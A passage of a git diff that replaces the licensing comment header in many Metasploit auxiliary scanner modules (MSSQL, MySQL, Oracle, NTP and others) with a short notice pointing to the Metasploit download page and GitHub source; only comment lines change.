a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb index 151e17b011..a9a4bcec10 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_version.rb b/modules/auxiliary/scanner/lotus/lotus_domino_version.rb index 8799e5ff3c..64dc9feeb3 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_version.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb index d7d6994fb4..5d5f673114 100644 --- a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb +++ b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb index a8a4aacb31..350e67cb1b 100644 --- a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb +++ b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb b/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb index a2388732bd..d585cf158c 100644 --- a/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb +++ b/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 9240b710ee..2696fea3ee 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/misc/oki_scanner.rb b/modules/auxiliary/scanner/misc/oki_scanner.rb index 482746c50e..8dbd3a4edc 100644 --- a/modules/auxiliary/scanner/misc/oki_scanner.rb +++ b/modules/auxiliary/scanner/misc/oki_scanner.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # TODO: Split this module into two seperate SNMP and HTTP modules. diff --git a/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb b/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb index c565296c83..ca6e555c0a 100644 --- a/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb +++ b/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/redis_server.rb b/modules/auxiliary/scanner/misc/redis_server.rb index b9051f7735..4576030344 100644 --- a/modules/auxiliary/scanner/misc/redis_server.rb +++ b/modules/auxiliary/scanner/misc/redis_server.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb index a358175cb2..8d74bd2c02 100644 --- a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb +++ b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb index f3da4ce062..d37c266056 100644 --- a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb +++ b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb b/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb index be774b9e04..5009bcdf5b 100644 --- a/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb +++ b/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/mongodb/mongodb_login.rb b/modules/auxiliary/scanner/mongodb/mongodb_login.rb index b7943d63cd..c3ab98e406 100644 --- a/modules/auxiliary/scanner/mongodb/mongodb_login.rb +++ b/modules/auxiliary/scanner/mongodb/mongodb_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/motorola/timbuktu_udp.rb b/modules/auxiliary/scanner/motorola/timbuktu_udp.rb index 2336263326..703ac5b2f1 100644 --- a/modules/auxiliary/scanner/motorola/timbuktu_udp.rb +++ b/modules/auxiliary/scanner/motorola/timbuktu_udp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/msf/msf_rpc_login.rb b/modules/auxiliary/scanner/msf/msf_rpc_login.rb index 65fa07f0c7..fe2e7a9f68 100644 --- a/modules/auxiliary/scanner/msf/msf_rpc_login.rb +++ b/modules/auxiliary/scanner/msf/msf_rpc_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/msf/msf_web_login.rb b/modules/auxiliary/scanner/msf/msf_web_login.rb index 3244ac82e3..6a1ce81263 100644 --- a/modules/auxiliary/scanner/msf/msf_web_login.rb +++ b/modules/auxiliary/scanner/msf/msf_web_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb index 6706dfbf2d..a31c2637c6 100644 --- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb index 618fb12c0e..93c62447fc 100644 --- a/modules/auxiliary/scanner/mssql/mssql_login.rb +++ b/modules/auxiliary/scanner/mssql/mssql_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/mssql/mssql_ping.rb b/modules/auxiliary/scanner/mssql/mssql_ping.rb index 83d35c24c9..41e0dbf7b4 100644 --- a/modules/auxiliary/scanner/mssql/mssql_ping.rb +++ b/modules/auxiliary/scanner/mssql/mssql_ping.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb index efd7682dec..810c6d699e 100644 --- a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb b/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb index d807e88e61..b5d7281081 100644 --- a/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/mysql/mysql_file_enum.rb b/modules/auxiliary/scanner/mysql/mysql_file_enum.rb index 4d2b055b3f..8d434d6892 100644 --- a/modules/auxiliary/scanner/mysql/mysql_file_enum.rb +++ b/modules/auxiliary/scanner/mysql/mysql_file_enum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb index 37bbd59e53..e249db4ff0 100644 --- a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/mysql/mysql_login.rb b/modules/auxiliary/scanner/mysql/mysql_login.rb index 03dfd066e5..b034b1d00a 100644 --- a/modules/auxiliary/scanner/mysql/mysql_login.rb +++ b/modules/auxiliary/scanner/mysql/mysql_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/mysql/mysql_schemadump.rb b/modules/auxiliary/scanner/mysql/mysql_schemadump.rb index b217de1417..b9cb45576b 100644 --- a/modules/auxiliary/scanner/mysql/mysql_schemadump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_schemadump.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/mysql/mysql_version.rb b/modules/auxiliary/scanner/mysql/mysql_version.rb index 1183f2df75..d042e996d5 100644 --- a/modules/auxiliary/scanner/mysql/mysql_version.rb +++ b/modules/auxiliary/scanner/mysql/mysql_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb index ee0037a78d..fdba44374e 100644 --- a/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb +++ b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb b/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb index a8d0f744da..1efd3e4285 100644 --- a/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb +++ b/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb @@ -2,10 +2,8 @@ # nessus_ntp_login.rb ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb index e2b7babfd6..51c568b5d5 100644 --- a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb @@ -3,10 +3,8 @@ ## ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb index d231f0c945..4e3d30f283 100644 --- a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb +++ b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb @@ -3,10 +3,8 @@ ## ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/netbios/nbname.rb b/modules/auxiliary/scanner/netbios/nbname.rb index 06a6aff190..04c36e60da 100644 --- a/modules/auxiliary/scanner/netbios/nbname.rb +++ b/modules/auxiliary/scanner/netbios/nbname.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/netbios/nbname_probe.rb b/modules/auxiliary/scanner/netbios/nbname_probe.rb index 8686b9e2fd..5c1d40aa07 100644 --- a/modules/auxiliary/scanner/netbios/nbname_probe.rb +++ b/modules/auxiliary/scanner/netbios/nbname_probe.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb index f7a0e20b75..8d66576e0d 100644 --- a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb +++ b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb @@ -3,10 +3,8 @@ ## ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/nfs/nfsmount.rb b/modules/auxiliary/scanner/nfs/nfsmount.rb index b5687212d5..8bd512d2d6 100644 --- a/modules/auxiliary/scanner/nfs/nfsmount.rb +++ b/modules/auxiliary/scanner/nfs/nfsmount.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/ntp/ntp_monlist.rb b/modules/auxiliary/scanner/ntp/ntp_monlist.rb index 5386478325..f03a77a518 100644 --- a/modules/auxiliary/scanner/ntp/ntp_monlist.rb +++ b/modules/auxiliary/scanner/ntp/ntp_monlist.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ntp/ntp_readvar.rb b/modules/auxiliary/scanner/ntp/ntp_readvar.rb index 894316edd6..dbb7b9edb2 100644 --- a/modules/auxiliary/scanner/ntp/ntp_readvar.rb +++ b/modules/auxiliary/scanner/ntp/ntp_readvar.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb index 132b0878cd..098f7f4fb5 100644 --- a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb index ef5cc4272c..4dd638c5a3 100644 --- a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb @@ -1,7 +1,5 @@ -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb index 9f053fea1f..7e6a0a2a33 100644 --- a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb @@ -1,7 +1,5 @@ -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/oracle/emc_sid.rb b/modules/auxiliary/scanner/oracle/emc_sid.rb index 0fd650db1f..4915fc6200 100644 --- a/modules/auxiliary/scanner/oracle/emc_sid.rb +++ b/modules/auxiliary/scanner/oracle/emc_sid.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/oracle/isqlplus_login.rb b/modules/auxiliary/scanner/oracle/isqlplus_login.rb index 77b2baa9a7..04c55d6ab4 100644 --- a/modules/auxiliary/scanner/oracle/isqlplus_login.rb +++ b/modules/auxiliary/scanner/oracle/isqlplus_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/Framework/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb b/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb index 0fa8793113..e2904855bd 100644 --- a/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb +++ b/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/Framework/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/oracle/oracle_hashdump.rb b/modules/auxiliary/scanner/oracle/oracle_hashdump.rb index 4e8a187195..d23f8d88a8 100644 --- a/modules/auxiliary/scanner/oracle/oracle_hashdump.rb +++ b/modules/auxiliary/scanner/oracle/oracle_hashdump.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/oracle/oracle_login.rb b/modules/auxiliary/scanner/oracle/oracle_login.rb index ebbf7e8b89..6a0e561b73 100644 --- a/modules/auxiliary/scanner/oracle/oracle_login.rb +++ b/modules/auxiliary/scanner/oracle/oracle_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/oracle/sid_brute.rb b/modules/auxiliary/scanner/oracle/sid_brute.rb index a246ee86cf..e65448a8ad 100644 --- a/modules/auxiliary/scanner/oracle/sid_brute.rb +++ b/modules/auxiliary/scanner/oracle/sid_brute.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/oracle/sid_enum.rb b/modules/auxiliary/scanner/oracle/sid_enum.rb index 3fa1277b38..5ea72bfd74 100644 --- a/modules/auxiliary/scanner/oracle/sid_enum.rb +++ b/modules/auxiliary/scanner/oracle/sid_enum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/oracle/spy_sid.rb b/modules/auxiliary/scanner/oracle/spy_sid.rb index bfd462c60a..7bfc799b26 100644 --- a/modules/auxiliary/scanner/oracle/spy_sid.rb +++ b/modules/auxiliary/scanner/oracle/spy_sid.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/oracle/tnslsnr_version.rb b/modules/auxiliary/scanner/oracle/tnslsnr_version.rb index 4f1bc7fe5f..1d503cb78e 100644 --- a/modules/auxiliary/scanner/oracle/tnslsnr_version.rb +++ b/modules/auxiliary/scanner/oracle/tnslsnr_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/oracle/xdb_sid.rb b/modules/auxiliary/scanner/oracle/xdb_sid.rb index e0b3f74410..0857cb94b4 100644 --- a/modules/auxiliary/scanner/oracle/xdb_sid.rb +++ b/modules/auxiliary/scanner/oracle/xdb_sid.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb b/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb index c83877c28e..bee4244a5e 100644 --- a/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb +++ b/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb index ba9b21469d..1629a553ef 100644 --- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit 